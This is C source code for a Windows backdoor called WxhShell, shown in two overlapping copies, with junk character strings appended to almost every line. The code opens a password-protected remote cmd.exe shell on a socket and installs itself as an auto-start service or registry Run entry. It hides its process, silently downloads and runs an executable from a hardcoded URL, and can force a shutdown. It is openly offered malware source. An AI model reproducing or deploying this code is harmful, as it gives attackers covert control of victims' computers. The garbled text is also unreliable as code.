    break; tj tN<y  
    } Qs_]U  
  // 关机 &"X1w $  
  case 'd': { 7nbaR~ZV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A)kdY!}  
    if(Boot(SHUTDOWN)) tU>4?`)E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 NqZ&S  
    else { byJ[1UK  
    closesocket(wsh); z HvW@A'F  
    ExitThread(0); D*)"?L G  
    }  Kuh)3/7  
    break; e{*z4q1  
    } ,uS}wJAX  
  // 获取shell oh >0}Gc8  
  case 's': { )'`@rq!  
    CmdShell(wsh); DcZ,a E]  
    closesocket(wsh); 6+yA4pRSd  
    ExitThread(0); Njs'v;-K  
    break; [S[@ Q[zP@  
  } rF . Oo0  
  // 退出 2B]mD-~  
  case 'x': { C0'_bTfB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @Y+9")?  
    CloseIt(wsh); HQrx9CXE  
    break; ImI, q:[67  
    } ] U[4r9V  
  // 离开 EBplr ,  
  case 'q': { /3 d6Og  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !ziO1U  
    closesocket(wsh); 6 kAXE\T  
    WSACleanup(); c]/&xRd  
    exit(1); f_tC:T4a  
    break; o,=dm@j  
        } bH_zWk  
  } XE : JL_  
  }  76EMS?e  
!o8(9F  
  // 提示信息 GhY MO6Q4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &, WQr  
} -<aN$O  
  } .T^e8  
O.OSLezTQ  
  return; ~_"/\; 1  
} EB[B0e 7}  
el^WBC3  
// shell模块句柄 of?'FrU  
int CmdShell(SOCKET sock) F]^ZdJ2  
{ "TePO7^m  
STARTUPINFO si; ]jwF[D  
ZeroMemory(&si,sizeof(si)); f#zm}+,`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x<[W9Z'~?9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #N `Z)}Jm  
PROCESS_INFORMATION ProcessInfo; y4N=v{EbL  
char cmdline[]="cmd"; zX ?@[OT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MbjMO"}  
  return 0; ($Ck5`_MK  
} d@_|  
Tjza3M  
// 自身启动模式 \*6Ld %:h$  
int StartFromService(void) haIH `S Y  
{ m8<l2O=m  
typedef struct hQ}B?'>  
{ NU$?BiB?R  
  DWORD ExitStatus; AF-uTf  
  DWORD PebBaseAddress; %oqC5O6  
  DWORD AffinityMask; y(0";\V  
  DWORD BasePriority; uO;_T/^u  
  ULONG UniqueProcessId; or]kXefG3  
  ULONG InheritedFromUniqueProcessId; O %?d0K  
}   PROCESS_BASIC_INFORMATION; @XFy^?  
Fb9!x/$tGV  
PROCNTQSIP NtQueryInformationProcess; LHJjPf)F  
_qQB.Dzo:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "]0sR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 86N"EuH$  
6+Wkcr h  
  HANDLE             hProcess; U4ELlxGe  
  PROCESS_BASIC_INFORMATION pbi; beCTOmC  
UuvI?D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sM$gfFx  
  if(NULL == hInst ) return 0; c>nXnN  
YFY$iN~B,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yDW$v/j.|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }+Ne)B E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8rx"D`{|  
_@Le MNv  
  if (!NtQueryInformationProcess) return 0; V"{+cPBO)  
:RE.md  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A$]&j5nh|  
  if(!hProcess) return 0; }- P ='AyL  
}+4^ZbX+:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o|?bvFC  
b;XUv4~V  
  CloseHandle(hProcess); {2Jn#&Z29  
aOH$}QnS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y}pCBw  
if(hProcess==NULL) return 0; ZfYva(zP{Q  
39(]UO6^;  
HMODULE hMod; xF4>G0  
char procName[255]; _b8?_Zq  
unsigned long cbNeeded; k[p7)ec  
~ :\QC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u d V. $N  
{:;599l  
  CloseHandle(hProcess); NlS/PWc6(  
B8'e,9   
if(strstr(procName,"services")) return 1; // 以服务启动 ]'2;6%. 4  
F.0CJ7s  
  return 0; // 注册表启动 N=QeeAI}}m  
} [o0Z; }fU  
Z`=[hu  
// 主模块 !5;A.f  
int StartWxhshell(LPSTR lpCmdLine) 1j7sJ" *  
{ m6 )sX&  
  SOCKET wsl; 3k J8Wn  
BOOL val=TRUE; "XEK oeG{  
  int port=0; U?}>A5H  
  struct sockaddr_in door; X(Wd  
PsLMV:O9S  
  if(wscfg.ws_autoins) Install(); &GC`4!H  
IU8/B+hM~  
port=atoi(lpCmdLine); JIl<4 %A  
7eh<>X!TX  
if(port<=0) port=wscfg.ws_port; *P#okwp  
#Tjv(O[&  
  WSADATA data; j}2,|9ne  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B4yC"55  
){PL6|5x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lAxbF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *h`%u8/{  
  door.sin_family = AF_INET; b0A*zQA_)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I?l%RdGW  
  door.sin_port = htons(port); L|7F%oR  
x>?jfN,e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E0miX)AG  
closesocket(wsl); $rAHtr  
return 1; |]d A`e&y  
} \M H\!  
1kG{z;9  
  if(listen(wsl,2) == INVALID_SOCKET) { _k0 X)N+li  
closesocket(wsl); NDJIaX:]  
return 1; k}5Sz  
} ~VRt 6C  
  Wxhshell(wsl); u*I=.  
  WSACleanup(); yA8e"$  
T+OQa+E@P  
return 0; [7Yfv Xp  
zHI_U\"8D  
} . C g2Y  
om`x"x&6  
// 以NT服务方式启动 Mpfdl65  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QJL%J  
{ -'j_JJ  
DWORD   status = 0; y~.k-b<{[  
  DWORD   specificError = 0xfffffff; ,cbCt  
F__j]}?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @WV}VKm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4,8=0[eRG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7~2b4"&  
  serviceStatus.dwWin32ExitCode     = 0; =l  %  
  serviceStatus.dwServiceSpecificExitCode = 0; i`]-rM%J#  
  serviceStatus.dwCheckPoint       = 0; GOT@  
  serviceStatus.dwWaitHint       = 0;  p)5j~Nl  
XYJ7k7zc+Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '[E|3K5d  
  if (hServiceStatusHandle==0) return; )ZU)$dJ>V  
P8hA<{UFS\  
status = GetLastError(); {*gO1TZt9  
  if (status!=NO_ERROR) I7b_dJD;*  
{ SLzxF uV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ze+_iQ5  
    serviceStatus.dwCheckPoint       = 0; 9~bl  
    serviceStatus.dwWaitHint       = 0; njbEw4nX  
    serviceStatus.dwWin32ExitCode     = status; }ze,6T*z  
    serviceStatus.dwServiceSpecificExitCode = specificError; &+@~;p 5F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -dCM eC  
    return; k<1BE^[V  
  } l98.Hb7  
E\3fL"lM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _|VWf8?\  
  serviceStatus.dwCheckPoint       = 0; {fwA=J9%KS  
  serviceStatus.dwWaitHint       = 0; |T!^&t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6`/nA4S4.  
} p$>e{-u  
.T*K4m{b0  
// 处理NT服务事件,比如:启动、停止 $$U Mc-Pq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <78]OZ] Z  
{ 9ghZL Q  
switch(fdwControl) 0* G5Vd  
{ u/`jb2eEU:  
case SERVICE_CONTROL_STOP: I) mP ?  
  serviceStatus.dwWin32ExitCode = 0; >d.o1<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H+^93  
  serviceStatus.dwCheckPoint   = 0; W/z\j/Rgc  
  serviceStatus.dwWaitHint     = 0; ")J\} $r  
  { x"hZOgFZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fZoV\a6Kj  
  } 3|$>2IRq  
  return; 5hNjJqu  
case SERVICE_CONTROL_PAUSE: JsNqijVC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aE[>^~Lv}  
  break; PQl a-  
case SERVICE_CONTROL_CONTINUE: rgQ6/3}qc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :}r^sD  
  break; B;SN}I  
case SERVICE_CONTROL_INTERROGATE: ;aZ$qgN*Y  
  break; ,vfi]_PK  
}; h @{U>U7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aq ~g 54  
} *gu4%  
E,6(/`0H*  
// 标准应用程序主函数 Ka[@-XH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qo*,2B9R L  
{ kF:4 [d  
@Y/PvS8!  
// 获取操作系统版本 T6s~f$G  
OsIsNt=GetOsVer(); /O"IA4O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EJ$-  
X[L6Av  
  // 从命令行安装 GA19=gow  
  if(strpbrk(lpCmdLine,"iI")) Install(); >KjyxJ7  
+ y!B`'J  
  // 下载执行文件 t`b>iX%(1t  
if(wscfg.ws_downexe) { 8 *@knkJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SHw%u~[hu  
  WinExec(wscfg.ws_filenam,SW_HIDE); D-)jmz>R  
} d4"KM+EP?  
DKV^c'  
if(!OsIsNt) { lO482l_t  
// 如果时win9x,隐藏进程并且设置为注册表启动 L8<Yk`jx  
HideProc(); s>E u[ uA  
StartWxhshell(lpCmdLine); {^TVZdw  
} n\v\<mVTb7  
else x`'2oz=,F4  
  if(StartFromService()) :3qA7D}  
  // 以服务方式启动 #J AU5d  
  StartServiceCtrlDispatcher(DispatchTable); JTcK\t8  
else RX",Zt$q  
  // 普通方式启动 4l! ^"=rh  
  StartWxhshell(lpCmdLine); ".&x`C  
x)6yWr[ri%  
return 0; wH&Rjn  
} H \ $04vkR  
"65@8xt==  
5.J$0wK'6  
|RqCw7  
=========================================== S[fzy$">  
HR'r~ #j  
6x\+j  
WeGT}  
g`KVF"8  
8" Z!: =A  
" O@U[S.IK  
[3`T/Wm  
#include <stdio.h> m ys5B}  
#include <string.h> /kLX f_  
#include <windows.h> <wwcPe}  
#include <winsock2.h> M 7j0&>NTG  
#include <winsvc.h> <\k=j{@  
#include <urlmon.h> )i&9)_ro  
sMAc+9G9k  
#pragma comment (lib, "Ws2_32.lib") *JXiOs  
#pragma comment (lib, "urlmon.lib") fRo_rj _  
Ww*='lz  
#define MAX_USER   100 // 最大客户端连接数 (j-[m\wF  
#define BUF_SOCK   200 // sock buffer pfW0)V1t  
#define KEY_BUFF   255 // 输入 buffer w5"C<5^  
)%8oE3O#  
#define REBOOT     0   // 重启 't=\YFQ*v  
#define SHUTDOWN   1   // 关机 !pI)i*V|  
Oqzz9+  
#define DEF_PORT   5000 // 监听端口 rkA0v-N6v  
6L~@jg~0A[  
#define REG_LEN     16   // 注册表键长度 yTw0\yiO  
#define SVC_LEN     80   // NT服务名长度 qPdNI1 |  
,)A^3Q*  
// 从dll定义API fclmxTy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }~dXz?{p8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E"iH$NN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BDY@&vF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |i-Qfpn  
lpkg( J#&  
// wxhshell配置信息 "iE9X.6NMu  
struct WSCFG { sqHv rI  
  int ws_port;         // 监听端口 ann!"s_  
  char ws_passstr[REG_LEN]; // 口令 W#|]m=2W  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y?hC/ 6$7  
  char ws_regname[REG_LEN]; // 注册表键名 Ky`rf}cI>  
  char ws_svcname[REG_LEN]; // 服务名 ITh1|yP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .['@:}$1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k;:v~7VF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B+|E|8"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NtMK+y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PPT"?lt*&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E!'H,#"P  
$enh>!mU  
}; jJl6H~ "q  
5=Mm=HyI2  
// default Wxhshell configuration -i|qk`Y  
struct WSCFG wscfg={DEF_PORT, w\=zTHo88  
    "xuhuanlingzhe", (+>~6SE  
    1, XhFa9RC  
    "Wxhshell", ?_[xpK()  
    "Wxhshell", !c:Q+:,H  
            "WxhShell Service", CFqoD l  
    "Wrsky Windows CmdShell Service", LU4\&fd  
    "Please Input Your Password: ", !cw<C*  
  1, a>`\^>G4  
  "http://www.wrsky.com/wxhshell.exe", NAhV8  
  "Wxhshell.exe" K|];fd U  
    }; ?RvXO'ml  
gs 8w/  
// 消息定义模块  }5bh,'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wXDF7tJh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?UQVmE&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3tI=? E#  
char *msg_ws_ext="\n\rExit."; N+l~r]: &  
char *msg_ws_end="\n\rQuit."; C.s{ &  
char *msg_ws_boot="\n\rReboot..."; Y+<C[Fiq  
char *msg_ws_poff="\n\rShutdown..."; g^8dDY[%  
char *msg_ws_down="\n\rSave to "; /dhx+K~  
-2|D( sO  
char *msg_ws_err="\n\rErr!"; %Rr!I:[ $  
char *msg_ws_ok="\n\rOK!"; wKum{X8  
g}IdU;X$NT  
char ExeFile[MAX_PATH]; HKq 2X4J$  
int nUser = 0; y#HD1SZ  
HANDLE handles[MAX_USER]; C=@BkneQ  
int OsIsNt; M$-4.+G  
rMSB|*_  
SERVICE_STATUS       serviceStatus; wQ!~c2a<8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JWy$` "{  
+%X_+9bd  
// 函数声明 M ! gX4  
int Install(void); qLKyr@\'  
int Uninstall(void); PqPLy  
int DownloadFile(char *sURL, SOCKET wsh); qyUcjc%[  
int Boot(int flag); l7aGo1TcIh  
void HideProc(void); NmST1pMk  
int GetOsVer(void); FR0zK=\  
int Wxhshell(SOCKET wsl); 8_>\A= E  
void TalkWithClient(void *cs); a\vf{2  
int CmdShell(SOCKET sock); W)^:*z  
int StartFromService(void); VbM5]UT/  
int StartWxhshell(LPSTR lpCmdLine); yt>Pf <AI  
T =3te|fv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WRh&4[G'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nen6!bw4  
kR^7Z7+#*  
// 数据结构和表定义 Jkpw8E7  
SERVICE_TABLE_ENTRY DispatchTable[] = kBIF[.v(\  
{ ce2d)FG}e  
{wscfg.ws_svcname, NTServiceMain}, POH >!lHu  
{NULL, NULL} ; VK;_d  
}; k}ps-w6:  
-_uL;9r  
// 自我安装 1?(BWX)7  
int Install(void) @EfCNOy  
{ &-<"HW  
  char svExeFile[MAX_PATH]; au"HIyi?k  
  HKEY key; :m8ED[9b  
  strcpy(svExeFile,ExeFile); tyP-J4J  
bw%1*;n)  
// 如果是win9x系统,修改注册表设为自启动 "x\3`Qk  
if(!OsIsNt) { |r}%AN6+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lU Uq|Qr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r{\cm Ds  
  RegCloseKey(key); <kLY1 EILM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]~?k%Mpw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "oz @w'rG  
  RegCloseKey(key); d/Py,  
  return 0; C^n L{ZP,  
    } ~e{2Y%  
  } /lr RbZ  
} 4bAgbx-^  
else { V.y+u7<3}  
V]q{N-Iq  
// 如果是NT以上系统,安装为系统服务 iM8hGQ`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }S#.Pw%  
if (schSCManager!=0) *N>Qj-KAM_  
{ > 7;JZuVo  
  SC_HANDLE schService = CreateService H5&>Eny  
  ( J3:P/n&  
  schSCManager, ykM#EyN  
  wscfg.ws_svcname, L+I[yJY:!  
  wscfg.ws_svcdisp, ^iV@NVP  
  SERVICE_ALL_ACCESS, lg8~`96  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5&}icS  
  SERVICE_AUTO_START, ++ dV5  
  SERVICE_ERROR_NORMAL, +B8Ut{l  
  svExeFile, XX6&% 7(  
  NULL, LL[ +QcH  
  NULL, b%oma{I=.c  
  NULL, ;euWpE;E\#  
  NULL, -g@pJ^>:  
  NULL fLD9RZ8_  
  ); Qb(CH  
  if (schService!=0) 9&d BL0  
  { U!e4_JBR'  
  CloseServiceHandle(schService); =pk'a_P 8-  
  CloseServiceHandle(schSCManager); 8vT:icl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \]9;c6(  
  strcat(svExeFile,wscfg.ws_svcname); Z(<ul<?r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {xH \!!"T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '@fk(~|  
  RegCloseKey(key); ITsJjcYw  
  return 0; bTiw?i+6Dv  
    } ,88Y1|:X  
  } IK W!P1  
  CloseServiceHandle(schSCManager); t&&OhHK  
} CD[7h  
} YLCwo]\+>  
8odVdivh  
return 1; bkM$ Qo  
} ~'U;).C  
kl={L{r  
// 自我卸载 m_Rgv.gE^  
int Uninstall(void) %b*%'#iK  
{ MO D4O4z&  
  HKEY key; jqLyX  
o}%fs *  
if(!OsIsNt) { =CVw0'yZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >ciq4H43Q|  
  RegDeleteValue(key,wscfg.ws_regname); aQG#bh [  
  RegCloseKey(key); ]u,~/Gy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lvN{R{7 >  
  RegDeleteValue(key,wscfg.ws_regname); $YC~02{  
  RegCloseKey(key); nY8UJy}<oL  
  return 0; OM.^>=  
  } [_0g^(`  
} XgbGC*dQ  
} roA1= G\Q  
else { 4w?7AI]Ej  
Qnw$=L:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BmM,vllO  
if (schSCManager!=0) R#`itIYh  
{ C:K\-P9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b1#=q0Zl  
  if (schService!=0) em]K7B=  
  { ,,J3 h  
  if(DeleteService(schService)!=0) { ZX0c_Mk=  
  CloseServiceHandle(schService); Cb6MD  
  CloseServiceHandle(schSCManager); "tR.'F[n4P  
  return 0; 3/AUV%+  
  } {eXYl[7n  
  CloseServiceHandle(schService); ! lF^~x  
  } G4}q*&:k  
  CloseServiceHandle(schSCManager); "uCQm '  
} 6+5Catsn  
} QdTe!f|  
1FJ[_ l  
return 1; 2{CSH_"Z7  
} 9yh@_~rZ  
/ZDc=>)~  
// 从指定url下载文件 FNuu',:  
int DownloadFile(char *sURL, SOCKET wsh) Fjzk;o  
{ 78)^vvn5~  
  HRESULT hr; G|lI=Q3f  
char seps[]= "/"; u\xm8}A  
char *token; Lm|X5RVq  
char *file; d]3sC  
char myURL[MAX_PATH]; a,~P_B|@  
char myFILE[MAX_PATH]; t {"iIz_S  
9ojhI=:  
strcpy(myURL,sURL); {9".o,  
  token=strtok(myURL,seps); yxN!*~BvL  
  while(token!=NULL) qfu2}qUX~%  
  { >#?: x*[  
    file=token; 2[po~}2-0  
  token=strtok(NULL,seps); 2-0cB$W+  
  } 3(+#^aw  
K]8wW;N4  
GetCurrentDirectory(MAX_PATH,myFILE); m;f?}z_\$  
strcat(myFILE, "\\"); ef&@aB  
strcat(myFILE, file); GiXde}bm  
  send(wsh,myFILE,strlen(myFILE),0); sK0VT"7K  
send(wsh,"...",3,0); 6# ";W2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ok[=1gA#h  
  if(hr==S_OK) q}$=bR1+  
return 0; ~C'nBV  
else "5:f{GfO#v  
return 1; `HG19_Z  
%uVJL z  
} lmKq xs4  
DA)v3Nd  
// 系统电源模块 b',bi.FH  
int Boot(int flag) ]t)M}^w  
{ 8 QF?W{NK  
  HANDLE hToken; ~88 Tz+  
  TOKEN_PRIVILEGES tkp; :ZS 8Zm"  
3D{4vMm X  
  if(OsIsNt) { h#>L:Wf5E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Sn2Ds)Pfx3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 07Q[L'}y@  
    tkp.PrivilegeCount = 1; xg,]M/J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]H#Rm#q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8='21@wrN  
if(flag==REBOOT) { yj'' \  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <hZ}34?]i2  
  return 0; nX\]i~  
} *rcuhw"^b#  
else { I.+)sB?5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ht3T{4qCS  
  return 0; DJYXC,r  
} ~Oq,[,W  
  } %}MA5 t]o  
  else { o1X/<.0+  
if(flag==REBOOT) { 0*Km}?;0-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >9<8G]vcH  
  return 0; b^,Mw8KsO  
} 5m.KtnT)  
else { 2r}uE\GN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $wYuH9(  
  return 0; y|;8:b32  
} zz 'dg-F  
} frmqBCVJ:  
lii ]4k+z  
return 1; p~q_0Pg%  
}  9VUm=Z#`  
AZy~Q9Kc  
// win9x进程隐藏模块 a\&(Ua  
void HideProc(void) Xh0wWU*  
{ qBBYckS.  
\_gp50(3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); we\b]  
  if ( hKernel != NULL ) QypiF*fSU  
  { +(<n |~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zY+t,2z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 53`9^|:  
    FreeLibrary(hKernel); UN*dU  
  } s-GleX<  
iM/*&O}  
return; ?Rt 1CDu  
} T$n>7X-r  
u+z .J4w  
// 获取操作系统版本 -B*<Q[_  
int GetOsVer(void) JA?,0S  
{ e7XsyL'|p  
  OSVERSIONINFO winfo; }_a +X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |5O >>a()  
  GetVersionEx(&winfo); ~'^!udF-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QN5yBa!Wz  
  return 1; ;.nP%jD  
  else vh|Tb5W<  
  return 0; [+;FV!M6  
} 'R4>CZ%jV  
W(uP`M%][0  
// 客户端句柄模块 6(N.T+;]  
int Wxhshell(SOCKET wsl) NJ|NJ p&0  
{ _W@,@hOH  
  SOCKET wsh; "pSH!0Ap\  
  struct sockaddr_in client; ASzzBR;?_  
  DWORD myID; *? K4!q'  
vQ-i xh  
  while(nUser<MAX_USER) \LO_Nu9  
{ vp\PYg;x  
  int nSize=sizeof(client); v>#Cg \  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |8&-66pX  
  if(wsh==INVALID_SOCKET) return 1; -yX.Jv  
~In{lQ[QX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B>~k).M&,  
if(handles[nUser]==0) G$;>ueM  
  closesocket(wsh); 4R& *&GZ#  
else ,U6*kvHS6  
  nUser++; m >]>$=%  
  } `4VO&lRm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H|PrsGW  
)8pc f`h{  
  return 0; 2}^+ ]5  
} -M"IVyy@  
7*zB*"B'1t  
// 关闭 socket 7<h.KZPc  
void CloseIt(SOCKET wsh) Q,zC_  
{ '"oo;`g7  
closesocket(wsh); Z:I*y7V-  
nUser--; EKc C+g   
ExitThread(0); NNwc!x)*  
} %lXbCE:[  
^ [ET&"  
// 客户端请求句柄 uVN.=  
void TalkWithClient(void *cs) 'eqiYY|  
{ )yHJ[  
y&7YJx  
  SOCKET wsh=(SOCKET)cs; bX7EO 8  
  char pwd[SVC_LEN]; m'd^?Qc  
  char cmd[KEY_BUFF]; $v FrUv  
char chr[1]; 3f_i1|>)'  
int i,j; !d\t:0;  
smV!y8&  
  while (nUser < MAX_USER) { d{W}p~UbH  
>W'j9+Va  
if(wscfg.ws_passstr) { Z,3 CC \  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !~kEtC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |,3l`o k  
  //ZeroMemory(pwd,KEY_BUFF); qc3~cH.@  
      i=0; a~WqUL  
  while(i<SVC_LEN) { 4&|C}  
+Z ><  
  // 设置超时 T0r<O_ubOA  
  fd_set FdRead; CQ<8P86gt  
  struct timeval TimeOut; 9GThyY  
  FD_ZERO(&FdRead); *MI)]S  
  FD_SET(wsh,&FdRead); oB4#J*   
  TimeOut.tv_sec=8; !#.\QU|  
  TimeOut.tv_usec=0; &RWM<6JP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3g;T?E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ovz#  
g&bwtEZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 57U%`  
  pwd=chr[0]; m*gj|1k  
  if(chr[0]==0xd || chr[0]==0xa) { q8/ihA6:  
  pwd=0; @m?{80;uQ  
  break; s{ =5-:  
  } 6%%PP8.F  
  i++; XoJgs$3B  
    } } %+qP +O\  
QhCY}Q?X  
  // 如果是非法用户,关闭 socket R>*g\}9Zh3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _#FIay\ahB  
} Evkt_vvf  
EMh r6</  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y#`Lcg+r,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *2=W5LaK.  
[^M|lf   
while(1) { pisB,wP$2  
JR)/c6j  
  ZeroMemory(cmd,KEY_BUFF); g ?V&mu  
AFm,CINa  
      // 自动支持客户端 telnet标准   2m\m/O  
  j=0; <raG07{!*  
  while(j<KEY_BUFF) { ~0ooRUWU7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gQ>2!Qc a-  
  cmd[j]=chr[0]; <BPRV> 0X  
  if(chr[0]==0xa || chr[0]==0xd) { {`F1u?l  
  cmd[j]=0; /[iG5~G  
  break; 7@IFp~6<qK  
  } }/p/pVz  
  j++; Yx),6C3  
    } IA2GUnUhu  
^df x~C  
  // 下载文件  ,1 P[  
  if(strstr(cmd,"http://")) { AW/wI6[T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sT`^ljp4  
  if(DownloadFile(cmd,wsh)) o%`npi1y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 30_ckMG"g  
